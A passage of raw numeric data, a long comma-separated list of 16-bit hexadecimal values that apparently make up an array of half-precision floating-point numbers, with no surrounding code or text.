0x445c, 0x3fb5, 0xbdb1, 0x3aaf, 0x3c55, 0xbd11, 0xbe40, 0xb9c9,
0xbfb2, 0xc200, 0x3b50, 0x4194, 0xc34e, 0xbbd8, 0x3ad6, 0xb6cf,
0x40fc, 0x3146, 0x3a11, 0xabbd, 0xbb0d, 0xc633, 0xb8eb, 0x3476,
0x3faf, 0x42d3, 0x9c05, 0x3c3b, 0xb821, 0x44ff, 0x41ba, 0x44c2,
0xb2a9, 0x3e4d, 0xc217, 0xbe0a, 0xb463, 0xc2f6, 0x41ab, 0xc3d2,
0x3cf6, 0x3d0f, 0xc1cd, 0xbe41, 0x4064, 0x4071, 0x3071, 0x3eb4,
0xc0c4, 0xbc5b, 0x3bc5, 0xc12e, 0xbd4e, 0x37fc, 0x3df6, 0x3f1b,
0x3535, 0xc2ac, 0x3a37, 0xb91c, 0xbd41, 0x4137, 0x416f, 0x3a34,
0x3d7f, 0x434c, 0x4227, 0x430d, 0xba55, 0x41fb, 0xc2b0, 0x3570,
0xc287, 0x3a36, 0xb9dd, 0xaffe, 0xc0ac, 0x3e80, 0xbfae, 0x3c2d,
0xb565, 0x3dd0, 0x3c13, 0x41da, 0x3a98, 0x3dd8, 0xb0a9, 0xbcc6,
0x3e79, 0x3b9c, 0x3d84, 0xba39, 0xbbe4, 0xc000, 0xbfdc, 0x4306,
0x43cc, 0xb61f, 0x3e53, 0x3ad7, 0xb774, 0x3654, 0x4626, 0xb8e6,
0xb937, 0xb7b6, 0xc031, 0x2561, 0xc17d, 0xc017, 0x4623, 0xbc24,
0x3d31, 0x4478, 0x455d, 0x4572, 0xbbec, 0x3f5a, 0xc251, 0xc4e3,
0xc1bb, 0x4113, 0xb7dd, 0x3a3e, 0x39b0, 0xb38c, 0xbc32, 0xc18b,
0xbd7d, 0xbe59, 0xbc31, 0xbce0, 0xbc19, 0x3a79, 0xbfdc, 0xc18c,
0x4407, 0xa68c, 0xbf04, 0x311a, 0x2eff, 0xb65c, 0xc03c, 0xb904,
0x3f68, 0xbf65, 0xc00e, 0xb8ef, 0xbf49, 0xb6b2, 0xb15a, 0xb79c,
0xbd73, 0x3951, 0x3c34, 0x3538, 0x3c9f, 0x414a, 0xbe25, 0xc45a,
0x455e, 0xc2a9, 0xbd20, 0x2ed3, 0x3e77, 0xc078, 0x4094, 0x3dbb,
0x2eb5, 0x4175, 0x41e6, 0x4001, 0x37b4, 0xba40, 0x3d8e, 0x3d73,
0xb8d9, 0x391b, 0x32a8, 0x3d9f, 0xb65b, 0x3e09, 0x35bb, 0xc4cf,
0x2a76, 0xb339, 0xbff5, 0x3504, 0xb6ef, 0x38f9, 0x37da, 0x4298,
0x4288, 0x41ec, 0xbae7, 0x410b, 0xb65e, 0xc09b, 0x446a, 0xbc6d,
0x4095, 0xc06a, 0x41b0, 0x3b0a, 0x37c3, 0xba0f, 0xb965, 0xb6d9,
0x3e30, 0x34b6, 0x3ff0, 0x4330, 0x4083, 0x2425, 0xc04b, 0x3c85,
0x388b, 0x3ff6, 0xc554, 0xc189, 0xc061, 0xb79a, 0x384a, 0x40e0,
0x458a, 0x3d83, 0xc334, 0x4465, 0x4231, 0xbf78, 0x2303, 0xb73f,
0xc2f9, 0xbcfb, 0x4177, 0xc350, 0xba1b, 0x387e, 0xc1e6, 0x3db9,
0x3e27, 0xc07e, 0xc3bb, 0xc0ee, 0xb89d, 0x340a, 0xbe90, 0x3aba,
0xc4c1, 0x40d2, 0xc419, 0x38d5, 0xbf1c, 0x3ef1, 0xbc9f, 0xa262,
0x4040, 0x44e9, 0xb6e8, 0xc0df, 0x34a6, 0xbb9a, 0x4407, 0x41bc,
0xbea6, 0x3cda, 0xc0b6, 0xbb91, 0xb81e, 0x3552, 0x3ac1, 0x41d6,
0x3943, 0xc0e9, 0xc0c5, 0xb686, 0xc4d1, 0xb25d, 0xb33f, 0xb606,
0x3ec5, 0x4499, 0x40ce, 0xc01d, 0xbb54, 0x3e09, 0x4329, 0x352e,
0xaad1, 0x41d9, 0x3acc, 0xc325, 0xbdf0, 0xc161, 0xc074, 0x3806,
0xbde5, 0x2f6f, 0x4196, 0xbdf5, 0x4238, 0x3de8, 0xbc30, 0x3bca,
0x3a19, 0xb5a8, 0xc63e, 0xbd48, 0x3a72, 0x4186, 0x41dc, 0xac31,
0xb4e6, 0x44d2, 0xc196, 0x3ad4, 0x448a, 0x43d9, 0xbc37, 0x45e3,
0xb3d3, 0xafd7, 0x41e5, 0x3efa, 0xb8d8, 0x38b0, 0x3ced, 0x35a4,
0x3e57, 0x415e, 0x4478, 0xbf7f, 0x430c, 0x3dd5, 0xbf0b, 0xb1d9,
0xba65, 0x4158, 0xba4e, 0x356f, 0xc0f0, 0xc5bd, 0x3980, 0x2be4,
0x3e2e, 0x411a, 0xbc24, 0xad44, 0xbc5d, 0x3d62, 0xc2a8, 0xbebb,
0xba27, 0x34c5, 0x42bc, 0xc356, 0x41ff, 0x3771, 0x3cfd, 0xc43f,
0xb835, 0x40fa, 0xbc09, 0xc1d8, 0x3f70, 0xb873, 0x450e, 0xc3ac,
0x3e53, 0x3637, 0xc51d, 0xb584, 0xbf22, 0x36fb, 0x342f, 0xc131,
0xc4a5, 0xbd2f, 0xbf1b, 0x3c6c, 0xc2fb, 0x392a, 0xb304, 0x4337,
0x3ce5, 0x38e0, 0xbd94, 0xbbc6, 0xc35a, 0x2b0c, 0xc1e5, 0xbb46,
0x4443, 0x3ea0, 0xc178, 0xba25, 0xc19c, 0x3991, 0x40e8, 0x4236,
0xbed6, 0xaf69, 0xb5a2, 0xab83, 0xc277, 0xbf8a, 0xbc5e, 0x431a,
0xbc5e, 0x3b36, 0x385a, 0xbecb, 0xb0d5, 0xb2a8, 0xbce8, 0x4095,
0x4171, 0x38a6, 0xbe64, 0x3cb2, 0xbc17, 0xc184, 0x36f1, 0xbe46,
0x3939, 0xbf60, 0x440f, 0xbfac, 0xbfee, 0xb39c, 0x3ab5, 0xb76a,
0x401b, 0xbe7d, 0x3e2d, 0xba99, 0xbc81, 0x443b, 0xb9fe, 0x42c8,
0xbbc1, 0x369b, 0x3a38, 0x412d, 0xc0ca, 0xb113, 0x4003, 0xc340,
0x3e62, 0xc145, 0x345a, 0xc045, 0x3588, 0x4007, 0x4292, 0xa254,
0x433a, 0xbab6, 0xb908, 0x4187, 0x3cf9, 0xb85f, 0x3373, 0xbe78,
0x2f72, 0x3a55, 0x3ed9, 0x398d, 0xc286, 0x3a60, 0xb4de, 0x37c8,
0xbaeb, 0x375a, 0xc277, 0xc063, 0x3b93, 0xbe11, 0x3af1, 0xb579,
0x42b3, 0xbd67, 0x34a5, 0x2c1f, 0x3cca, 0xc285, 0x4153, 0xb8bf,
0xbc9d, 0x3666, 0xb7e1, 0x40c7, 0xb61c, 0xbea8, 0x4131, 0xbecb,
0xb9b9, 0x40fe, 0xbbac, 0x40b0, 0x3abe, 0xb9b9, 0x4059, 0xc1ff,
0x40d2, 0x3b08, 0xbc4c, 0xb8b5, 0x3eb4, 0xb02c, 0xc183, 0xc0aa,
0xb898, 0x4435, 0x3f22, 0xc049, 0x3246, 0xb9e5, 0xbe88, 0xc056,
0xba52, 0x379c, 0xbbf6, 0xb8b0, 0x4101, 0xbc1c, 0xb7b6, 0x3dd1,
0x3b73, 0xb9bd, 0xb4c4, 0xc13b, 0xbb97, 0x3193, 0x3a3d, 0x432e,
0x40c4, 0xbe70, 0xbe8a, 0xbc6d, 0xb6c3, 0x3e31, 0xba2d, 0x41ab,
0xc418, 0x3a8f, 0x438b, 0xaf30, 0xbd6f, 0xac0d, 0xbaaf, 0xb8c0,
0xad6b, 0xb8df, 0xc321, 0xb503, 0x4460, 0xbe4f, 0xc2ed, 0x415f,
0x3bd4, 0xb7f2, 0x36ab, 0xb8c6, 0xbde2, 0xbda2, 0xc57f, 0x347e,
0x3cab, 0xb849, 0xbdf3, 0xc3b0, 0x3f99, 0x3fc0, 0xbe5a, 0x3a9f,
0x382e, 0x32fa, 0xb832, 0xb9a4, 0xbabc, 0xc0a5, 0xb494, 0x39f4,
0xb7e7, 0x31ab, 0xc194, 0xc457, 0x3b3a, 0x3d1d, 0xbbda, 0x3e6c,
0x2fc7, 0xc050, 0xc031, 0xc4b5, 0xb714, 0xc206, 0x3ec3, 0xc32c,
0xbdb4, 0x351f, 0xafdc, 0x428b, 0x42da, 0x33a1, 0x3936, 0x3eec,
0xb9ab, 0x3fe5, 0xbcf7, 0xbc85, 0xc023, 0x3bca, 0xbec2, 0x317f,
0x3701, 0xb4f6, 0x4064, 0x34d4, 0x3f0a, 0x3070, 0x36b9, 0xb404,
0x4499, 0x3918, 0x4021, 0x34a2, 0x4153, 0x3cd9, 0x436a, 0xb8a2,
0x318e, 0x3888, 0x4027, 0xc2ff, 0xb607, 0xc122, 0xc397, 0x3dba,
0x2cd6, 0xbcc6, 0xc1a1, 0x3684, 0x39a7, 0x37d1, 0x3e42, 0x3e14,
0x4442, 0x44c5, 0x4477, 0x41fb, 0xb5f3, 0xbfdc, 0x3c82, 0x3eac,
0xad47, 0x4347, 0xc0c3, 0x40c7, 0xbffc, 0xbcbd, 0x33a2, 0x3826,
0xc280, 0x3ada, 0x3daa, 0x4246, 0xc40d, 0xb8e7, 0xbce6, 0x3852,
0xbb96, 0x429b, 0xb8ba, 0xbd04, 0x3bba, 0xbbf2, 0xb485, 0x40d0,
0xbe29, 0x405b, 0xc446, 0x3da3, 0xbc91, 0x40fa, 0xc32a, 0x285a,
0xc1d4, 0x32a2, 0x40be, 0x3fe7, 0xbe30, 0x45b2, 0xb8eb, 0x3ce5,
0x4240, 0x309e, 0x3938, 0xc1d0, 0xbfca, 0xbf7d, 0xb955, 0xbce6,
0x3360, 0xc2d5, 0xc682, 0xbfbf, 0xc075, 0xbeae, 0x3df4, 0x3d67,
0xc106, 0x3b45, 0xbc34, 0xc429, 0xbd54, 0xbed0, 0xb961, 0xc268,
0x3ac8, 0x3bee, 0x3dc4, 0xc3bf, 0xc135, 0x42b7, 0x448f, 0xc47e,
0x3541, 0x3c38, 0x3d61, 0x41ad, 0xc040, 0x3ec4, 0x40f7, 0x43b5,
0x34bb, 0xc0dd, 0xc088, 0xb54d, 0x3c31, 0x410f, 0xbca5, 0x4245,
0x42e6, 0x3a8e, 0xaccc, 0xc015, 0xb047, 0xc199, 0xc3fa, 0xba4d,
0xb098, 0x3825, 0xb566, 0x3d11, 0x43ac, 0x3c97, 0x3f7e, 0xc076,
0x432d, 0xb2db, 0x38fb, 0x3526, 0xbcd4, 0x4120, 0xbe96, 0xbdce,
0x4360, 0xaf27, 0x3bd8, 0x4381, 0x3d87, 0x39f4, 0x2f79, 0x3897,
0x4180, 0xb867, 0xbf4b, 0xc219, 0x41d4, 0x3d69, 0x419c, 0x3e4d,
0xac51, 0x4446, 0x3662, 0x21c1, 0x372e, 0xb6f9, 0xbea2, 0x4178,
0xc2f7, 0x3f78, 0xc149, 0xc442, 0x4075, 0x445a, 0xc14c, 0xbda9,
0xc22a, 0xc0d2, 0xb8dd, 0xc1b4, 0x431b, 0xc0e2, 0xc0c2, 0xc559,
0x3984, 0x3cd3, 0xb996, 0xc2a5, 0xb992, 0xba2a, 0xb04a, 0x3623,
0xac03, 0xbc61, 0xb67b, 0xc110, 0x3a0d, 0x35df, 0x3c4d, 0xb523,
0x44c5, 0xc114, 0xc3ea, 0xc31d, 0xc2bf, 0x445e, 0xb978, 0x415e,
0xc52a, 0x3d14, 0x3b0b, 0x4212, 0xb718, 0x40b9, 0xc089, 0x4029,
0xbc48, 0xbdd1, 0x4307, 0x3df7, 0x40d9, 0x4263, 0xbe99, 0x35e6,
0x3e55, 0x3fe0, 0x38ed, 0xc078, 0x41c8, 0xb21d, 0xbae8, 0x35f3,
0x4040, 0x2eef, 0x3edb, 0x3c65, 0x3f60, 0x3c8b, 0xbc0c, 0xc02b,
0x3b16, 0xc114, 0x38ee, 0xc079, 0xc59e, 0x3d52, 0xb79f, 0x3a4b,
0xb8fc, 0x3da1, 0x41ef, 0xbfe6, 0xbf3b, 0x410d, 0xc4fd, 0x3829,
0x3e6e, 0x45b7, 0xc160, 0xc362, 0xbd87, 0xbce5, 0x4032, 0x3ed0,
0xc1e6, 0x2940, 0xc1e2, 0x406d, 0x420e, 0xbbff, 0x3fe5, 0x3630,
0xb00f, 0xb952, 0x3fa7, 0x3e2e, 0x3e49, 0x3f14, 0xbe3f, 0x3f03,
0xae10, 0x366b, 0xbc74, 0x4126, 0xb21d, 0xbc16, 0xc15c, 0xbc84,
0x401d, 0x3e33, 0xbba0, 0xacd8, 0x3756, 0xc1f8, 0x4194, 0xbff8,
0xc124, 0x400b, 0xbafa, 0x3fb9, 0x312a, 0x39b0, 0x359c, 0xc703,
0xa24d, 0x414b, 0x39ce, 0xbcba, 0x334a, 0xc16d, 0x3bb2, 0x3d37,
0xba36, 0xb61c, 0x3c8f, 0x3dea, 0xc3ad, 0x2c51, 0xbc8c, 0x2c70,
0xc48d, 0x3efd, 0x426d, 0xbc8a, 0x3fee, 0x3deb, 0xc466, 0x3ae9,
0x3c58, 0x38eb, 0xbbb5, 0x4036, 0x3f23, 0x3b43, 0xc29f, 0x431b,
0xc368, 0x42b6, 0x3040, 0x4032, 0x40ab, 0x4439, 0x3c3e, 0xc0cf,
0x3cbb, 0x3cad, 0xb518, 0xb9ce, 0x3a5c, 0x4398, 0xb27d, 0x3b69,
0x26d4, 0xb9b0, 0x4416, 0x4235, 0x3968, 0xc1a8, 0xbf21, 0xb4ee,
0xab41, 0xc046, 0x41ba, 0x401c, 0x4782, 0x3d18, 0xc455, 0xa9bd,
0x3f77, 0x4231, 0xbac6, 0x30ec, 0x4099, 0x40a5, 0x4198, 0x313c,
0xc425, 0xc407, 0xc462, 0x3ec5, 0x4343, 0x34e0, 0x3e0e, 0xbcc3,
0x4016, 0xc02b, 0x40aa, 0xb400, 0x4316, 0xbed5, 0x3b78, 0xbe04,
0x3f52, 0x3bdb, 0x4343, 0xbc47, 0x44ff, 0xbf37, 0x41bb, 0x34e9,
0xc300, 0x3a79, 0x3b9c, 0xafc2, 0xc24a, 0xa83d, 0xb34c, 0xbda1,
0x39ac, 0xb14e, 0x42d5, 0x3dfa, 0x3d5e, 0xb076, 0x3cca, 0x3cd2,
0xbf63, 0xc19f, 0x3ee8, 0x408e, 0xc084, 0x4061, 0xc045, 0xb434,
0xc239, 0x39a6, 0x3798, 0x3789, 0x391f, 0x414c, 0xbc34, 0xaefa,
0xc39a, 0xbc79, 0xc197, 0xbe53, 0x4356, 0xb961, 0x4055, 0xc10b,
0x3850, 0x3e86, 0xb8a0, 0xc02e, 0x4298, 0x40b7, 0xacb7, 0xbe4e,
0x3c14, 0x3da9, 0xb8ea, 0x288b, 0x3c54, 0xb7c2, 0xc07b, 0x3d3c,
0xc01a, 0xbf83, 0x4106, 0x33be, 0x3048, 0xc58f, 0xb41f, 0x45c1,
0x404b, 0x3865, 0x3e56, 0x42c4, 0x4266, 0x3c14, 0x2ee9, 0xb058,
0x34d4, 0x295f, 0xb2f7, 0x42de, 0x4047, 0x41ae, 0x3f59, 0x3807,
0xb4c7, 0x3c7c, 0xbc17, 0xc1a8, 0x2c17, 0x4052, 0x3e68, 0x3cb3,
0xb16e, 0xbafa, 0xbbf2, 0x419a, 0xc444, 0x3f86, 0xbeee, 0xbed0,
0xc199, 0xbe33, 0xbc06, 0xc341, 0xb66a, 0xbd4e, 0xc0f2, 0xc1a3,
0x3f43, 0xb824, 0xbe06, 0xc084, 0xc38a, 0x2c85, 0x40d2, 0x28ed,
0x410e, 0xbbff, 0x3859, 0xb954, 0xbd95, 0xc197, 0x40b6, 0xb1b3,
0xb1e5, 0xc2d1, 0x3a78, 0x2b57, 0x3d36, 0xbf52, 0x4409, 0xc2df,
0x3f94, 0xc031, 0xc263, 0xbdb0, 0xbbc9, 0xbcb1, 0x4234, 0xc085,
0x40e8, 0xbd4e, 0xc173, 0x383f, 0xb59e, 0x3a8c, 0xbfba, 0x44c2,
0xb6c2, 0xbb82, 0x4569, 0x39df, 0x4174, 0x4471, 0x410d, 0xc3c9,
0xc051, 0xa919, 0xc2a2, 0xc429, 0xbd5c, 0x44fe, 0x44eb, 0x3d84,
0xc304, 0x3924, 0xc480, 0xc036, 0xc2db, 0xb943, 0x3d2f, 0xbc05,
0x35e5, 0x43ac, 0xb904, 0x3717, 0x32cb, 0xbea8, 0x437c, 0x3e1b,
0x354a, 0xc01a, 0xaf9f, 0xbc9f, 0xc25b, 0x3cca, 0x25e5, 0xb444,
0xc03f, 0xc21d, 0x4294, 0xbeb1, 0x3e44, 0x4323, 0xbb35, 0xbf1c,
0x3e77, 0x3458, 0xbdc4, 0x4433, 0xc1f1, 0x2c2a, 0xbb52, 0xb557,
0x3c5b, 0x2ae6, 0x3075, 0x3d62, 0x3c6c, 0xbbae, 0x38a0, 0xc0e8,
0x3d1a, 0xbc67, 0xbd32, 0xb96d, 0xc0a7, 0x3593, 0x42cb, 0xba72,
0xbed8, 0xc204, 0xc10d, 0xb813, 0xb8b3, 0x4485, 0xc109, 0xc344,
0xb4b5, 0x42d5, 0x427d, 0xc33c, 0xc09e, 0xbcd9, 0x3ff8, 0x3eff,
0xbaaa, 0xc036, 0x3fe0, 0x3f73, 0x3df7, 0x4136, 0xc112, 0x3e14,
0xc0f7, 0xb613, 0xc29a, 0x448b, 0xbea0, 0xb594, 0x3d43, 0x32a1,
0x37bf, 0xbdb9, 0x410b, 0x39e0, 0x3d4e, 0x43e7, 0xc10a, 0xb5f6,
0x4120, 0xc05e, 0x4463, 0x3f5b, 0xbcba, 0xc113, 0x3edb, 0xabb8,
0xbfcf, 0x4056, 0xbec4, 0x3a8a, 0x440e, 0xb23a, 0x33b1, 0x43f5,
0x40b6, 0x4011, 0xbb8e, 0xb6dd, 0x42c3, 0x3662, 0x2e4a, 0xc43f,
0x3f76, 0xbe3d, 0x3a6d, 0x4052, 0x3e87, 0x3d61, 0x3d6f, 0x442d,
0x387b, 0xbd5a, 0x4043, 0x4113, 0xb4e0, 0x4218, 0x45ad, 0x3a95,
0xc2ab, 0xc2d6, 0xb522, 0xc24b, 0x38be, 0x4098, 0x411f, 0xbaaf,
0x2130, 0xc24e, 0xbec0, 0xba8c, 0xc752, 0xbd52, 0x4213, 0xc127,
0x43e4, 0xba0d, 0x357c, 0x37b2, 0xbf84, 0x3cda, 0xb624, 0xc4a9,
0x41c1, 0xbe37, 0xbce4, 0x3aa4, 0x403a, 0x36c3, 0xbcd7, 0xb49b,
0x3c58, 0x408c, 0x4433, 0x4043, 0xc063, 0x3fc2, 0x4106, 0xc281,
0x3cd1, 0xc0be, 0x3c1b, 0xbb63, 0x425e, 0x44f6, 0x391e, 0xadeb,
0x3c78, 0x3ebd, 0xbc7f, 0x3d00, 0xc2b9, 0x3a9a, 0xbebb, 0x3423,
0xb9de, 0x4143, 0x3dec, 0xbc6f, 0x3846, 0xbf38, 0x3d5f, 0xc31d,
0xbc67, 0xb912, 0x365c, 0xbc42, 0xc2ac, 0xc267, 0x3e3a, 0xc0c2,
0x3d2e, 0xc2b9, 0x3ec4, 0xb2d9, 0xb7e8, 0x358d, 0x4472, 0x40c5,
0xc2ab, 0xc1ff, 0x400d, 0xbb0f, 0xb2c9, 0x43fc, 0xbd97, 0xb82c,
0x42da, 0x3d23, 0x381a, 0xb91e, 0x4271, 0xbdbd, 0x42bc, 0xc02d,
0xc3dc, 0x3e18, 0xbd4d, 0xc4e0, 0xbd45, 0x4126, 0xb0ce, 0x40cd,
0x35c5, 0x363f, 0x4028, 0xc153, 0x4062, 0x3f3b, 0x44f9, 0xbe31,
0xb641, 0xc445, 0x39f3, 0xbca8, 0x2d8c, 0xbcab, 0xbfb0, 0xb10e,
0x40e6, 0xbf91, 0x3f3e, 0x3bf3, 0x37de, 0x4297, 0xb8f3, 0x3b37,
0x403c, 0xbae0, 0x4339, 0xac80, 0x3840, 0xb0ea, 0x30af, 0x43e0,
0x267f, 0xbf0b, 0xb4d9, 0x3b98, 0xc4bf, 0x417c, 0x3d37, 0xc1a5,
0x416a, 0xb1c8, 0x4092, 0x3506, 0x4048, 0x292c, 0x3dd6, 0xb873,
0x4151, 0xc096, 0x28a6, 0xbc03, 0x426e, 0x450b, 0xb34f, 0x42d5,
0x3d36, 0x2ab5, 0xc3f7, 0x40e1, 0x4200, 0x2925, 0xb62a, 0xb8b6,
0x4048, 0xbfbf, 0x1fd7, 0xc1b7, 0xc0db, 0xc17b, 0xbd84, 0xbbcd,
0x33c4, 0xc248, 0x3cd6, 0xc081, 0xbc88, 0xbd0d, 0xbdc4, 0xc456,
0x4464, 0xb984, 0x4406, 0x4402, 0xc0f8, 0xbfc6, 0xb90b, 0xb74b,
0x3e4b, 0x3eae, 0x4098, 0xbe40, 0xbe8e, 0x3d65, 0xb563, 0x4432,
0x3f87, 0x3cc9, 0xc235, 0xbdca, 0x3edc, 0xbffd, 0x41fa, 0x4465,
0xc04c, 0xc070, 0xbd19, 0xb592, 0xc049, 0x411f, 0x44b9, 0xb973,
0x3cdc, 0x3819, 0xb81b, 0x4078, 0x3bec, 0x47e6, 0xbcc4, 0x3e15,
0x3be9, 0xbdcb, 0xc02c, 0xb885, 0xbf20, 0xba3a, 0x42ba, 0x2c6a,
0xbcf4, 0x41ac, 0x36bf, 0x447f, 0xc23e, 0x42c7, 0xc023, 0x3b76,
0x42fc, 0xbaf7, 0xb78b, 0xc5da, 0xc122, 0xb79f, 0xc380, 0x4022,
0xc144, 0x35ee, 0xc39c, 0xb4b5, 0xbb7d, 0xc209, 0xb9a1, 0x422a,
0x3edc, 0xb9ab, 0xbde1, 0x3ef6, 0xbfa4, 0xb011, 0x34a5, 0xc2a5,
0x394d, 0x3f48, 0xc019, 0xb694, 0x3e2b, 0xbd57, 0xc045, 0x34a0,
0xbec7, 0xbc2f, 0x2ed5, 0x44cc, 0xc17c, 0xbcb5, 0xc07f, 0xae0b,
0x42ce, 0x37e0, 0xc3ee, 0xaaac, 0xbf54, 0x39d0, 0xc0f6, 0xbcf4,
0x4253, 0xb78e, 0x3bcf, 0xbeeb, 0x44a4, 0xbfd6, 0x3da8, 0x420f,
0x4498, 0xbf26, 0xc322, 0x4241, 0x3f08, 0xbae9, 0x3cec, 0x3f5d,
0x39f9, 0x4276, 0x3fcb, 0xbebf, 0xc07f, 0x414b, 0x3ca6, 0xbd56,
0x3c3a, 0x2eb0, 0xb17d, 0xb80b, 0xb2bc, 0x3cff, 0x430e, 0xbc85,
0xc023, 0x40a3, 0xc48c, 0xbc8f, 0x4603, 0xb3b9, 0xc2ea, 0x45a7,
0xc4bb, 0xba72, 0xc40b, 0xb706, 0xc04b, 0xb82c, 0x3f1b, 0x33c0,
0xbcda, 0xc23d, 0x3dd3, 0x42b6, 0xc00e, 0x32dd, 0x3b47, 0xbdfa,
0x390a, 0xc44c, 0x41f4, 0xbc73, 0xc098, 0xbb69, 0xc1e0, 0xbfba,
0xc217, 0x329f, 0x403f, 0xbc07, 0x3d44, 0x3e87, 0xc0ee, 0xba9f,
0xbe7c, 0xb636, 0x40ef, 0x413e, 0x30c4, 0xc6cb, 0xb5e3, 0x4186,
0x3cf1, 0x420c, 0x4214, 0xc1e3, 0xc2b4, 0x3c43, 0x3fcb, 0x439e,
0x3db5, 0x45a1, 0x22ab, 0x452e, 0xc04f, 0x3a87, 0x4480, 0xbd98,
0x3f68, 0x3763, 0xa628, 0x2dec, 0x3de5, 0x4419, 0xbefe, 0xc2a8,
0xbcb9, 0x400d, 0x3044, 0x3b14, 0x435b, 0x3d02, 0xad2c, 0xc257,
0x3c22, 0xbc03, 0x4169, 0xbd40, 0x31ee, 0x42b6, 0x295e, 0x3f6e,
0x391f, 0xbb1d, 0xb99d, 0xc049, 0xbcad, 0x4119, 0xbb87, 0xc6b8,
0x3ca6, 0x41a4, 0xbe79, 0x3621, 0xbdb0, 0x3267, 0x3f1b, 0xbec6,
0x3fc8, 0x3e21, 0x3b27, 0x3371, 0xbefc, 0x368f, 0xc01f, 0xbd61,
0xad0d, 0xbbc2, 0xbe43, 0xb6f2, 0x3a5b, 0x3feb, 0xbf48, 0x3e14,
0x42f0, 0xc057, 0xbe1f, 0xc02c, 0x3c43, 0x3c2d, 0x3e30, 0xb0eb,
0x389a, 0xbc75, 0x4359, 0xc00b, 0xbfd0, 0x40e9, 0x444f, 0x449e,
0xbfed, 0xbf33, 0xc0ad, 0xb40a, 0xb6ff, 0xa6a2, 0x2d32, 0xbc41,
0xc10a, 0x38bb, 0x3cb5, 0xbe62, 0x31c5, 0xba9f, 0xbd08, 0xc439,
0x38d7, 0x3dc5, 0x2dc3, 0x41f2, 0xc030, 0x41c9, 0xb4bc, 0x36e1,
0xb874, 0xbd18, 0xb040, 0x3eb8, 0x45d3, 0xb9b1, 0x44e0, 0x43a3,
0x3b66, 0xbe30, 0x404b, 0xbc48, 0xc02a, 0x4188, 0x355c, 0xbc77,
0x405b, 0x404c, 0x3af5, 0xc731, 0x4389, 0xbba9, 0xb889, 0x3b49,
0xbeec, 0x3f9e, 0x3ad8, 0xb8dc, 0x4128, 0xbcc3, 0xbb00, 0xc1c4,
0xc00a, 0x401a, 0xbeb1, 0xb8f0, 0x4131, 0xc27c, 0xb80f, 0xbea8,
0x3c61, 0xc1e9, 0x3c6a, 0xc520, 0x3709, 0xc574, 0xb680, 0xb578,
0x3c7a, 0x3747, 0x3897, 0xc098, 0x3d7e, 0x4015, 0x44bd, 0xbfa6,
0xc476, 0xaeb4, 0x3a1a, 0xc0b6, 0x3f57, 0xb8bb, 0xbd08, 0x3eaf,
0xb85f, 0xb323, 0x3e14, 0x3d15, 0x3cfd, 0x4567, 0x326d, 0xc172,
0x398b, 0xb7af, 0x342b, 0x38ee, 0x3681, 0x31e4, 0xb188, 0xadf0,
0x371a, 0xbee8, 0x3c17, 0x4569, 0xc4f5, 0xbd66, 0xbe9a, 0xbe70,
0x3b3d, 0x43fa, 0x411d, 0xc056, 0xbeee, 0xb755, 0x458c, 0xb8b5,
0xc4d7, 0xbcd4, 0x3dc4, 0xc1d9, 0x446c, 0xbe3c, 0xb49c, 0xb9cc,
0xc3b0, 0x40f0, 0xbdf9, 0x4536, 0x408e, 0x3b41, 0xbee3, 0x3797,
0xa6b8, 0xc2d2, 0x4587, 0xbd57, 0x4206, 0x422a, 0xc2b3, 0x4151,
0xc042, 0x3d73, 0x4069, 0x40f0, 0xc02f, 0x4325, 0xb03a, 0xbcc4,
0xb472, 0xbe97, 0xb696, 0xc054, 0xb181, 0xb776, 0x371d, 0xc270,
0x3f31, 0xbae4, 0x1931, 0xb7ab, 0x3f43, 0xc465, 0x3fd4, 0x40e7,
0x4129, 0xc0f6, 0xbc3f, 0x3a9d, 0xbcc9, 0xbf6d, 0xbd6f, 0xc278,
0xc44a, 0xc410, 0xc185, 0xb728, 0x3729, 0xa594, 0xc22f, 0xc36e,
0x4042, 0xc136, 0xc293, 0x44e0, 0x44fa, 0x3648, 0xbd31, 0x3b46,
0x4167, 0xbd15, 0x3a28, 0x3dcc, 0xbe04, 0x4337, 0x38ce, 0xc44e,
0xc20b, 0x448a, 0xb9ea, 0xbb29, 0xb8d8, 0xbe46, 0xc17b, 0xbae6,
0x42ba, 0xc394, 0xc389, 0x3857, 0x40cd, 0x41c6, 0xc05a, 0x401b,
0xb887, 0x3f89, 0xc456, 0xb899, 0x2952, 0xbed9, 0x42a5, 0xb929,
0x4189, 0x4082, 0x401a, 0x4156, 0x4073, 0x9d97, 0x43c3, 0xbc7c,
0xa0fc, 0x4035, 0xbf02, 0xc124, 0xbd0d, 0xbce1, 0xb8e2, 0xb749,
0xc430, 0x3cfb, 0x35e0, 0x421f, 0xc1ce, 0x3dd0, 0x3d00, 0xc24a,
0xbcb4, 0xbe18, 0x3dd2, 0x3b5c, 0xc043, 0x412e, 0x407a, 0x3f1a,
0xba9d, 0xc023, 0xbe59, 0x4100, 0xbb0d, 0xbcdf, 0xc0b0, 0x39a7,
0xc07c, 0xbb60, 0xb00c, 0x3622, 0xbc5b, 0xbe03, 0xc29d, 0x3af8,
0x3a74, 0xbdc2, 0x38c0, 0x40f2, 0xc0a9, 0xbc17, 0xc276, 0xbd82,
0x3d15, 0xbf5a, 0xc0e6, 0x2ef6, 0xba0d, 0x38f4, 0xbcef, 0xbeb1,
0x3fd7, 0xbfba, 0x3366, 0xbd49, 0xbe6f, 0x3f6d, 0xc0b7, 0x3c5c,
0xc1f7, 0xb67b, 0xc1a9, 0x35fe, 0xbe2e, 0xc3de, 0xc434, 0x4056,
0xc11e, 0x35b6, 0x410a, 0x4107, 0x35be, 0x4151, 0xb6ad, 0xb42c,
0xc42d, 0xc46c, 0x403c, 0x3fbe, 0x3a91, 0x4091, 0xc1fc, 0x3a27,
0xbd9a, 0xb887, 0xa87c, 0xc0fe, 0xbd72, 0xc2a3, 0xb0e3, 0x3974,
0x37a4, 0x43a8, 0x4059, 0x4442, 0x4001, 0x2f08, 0xb7b1, 0xb4fd,
0xc199, 0x3d19, 0xc270, 0x403b, 0xbef1, 0xc06c, 0xa829, 0xc116,
0x3985, 0x459a, 0xbdcc, 0xc00d, 0xb603, 0xc3cb, 0x35e4, 0xb5ba,
0x3e99, 0xbda1, 0xc18c, 0x3989, 0x9c4c, 0x4526, 0x20aa, 0x3b83,
0xbe27, 0xbecc, 0xb3a8, 0x3f2c, 0xc0b8, 0xc1de, 0xbe66, 0xbfbe,
0x39c0, 0xc1c7, 0x2de9, 0xadaa, 0x37b2, 0x3c9c, 0xad52, 0x3c4b,
0x3c76, 0x449a, 0xbb52, 0xbe8d, 0x3cd1, 0xbf5e, 0x3ea3, 0x40fe,
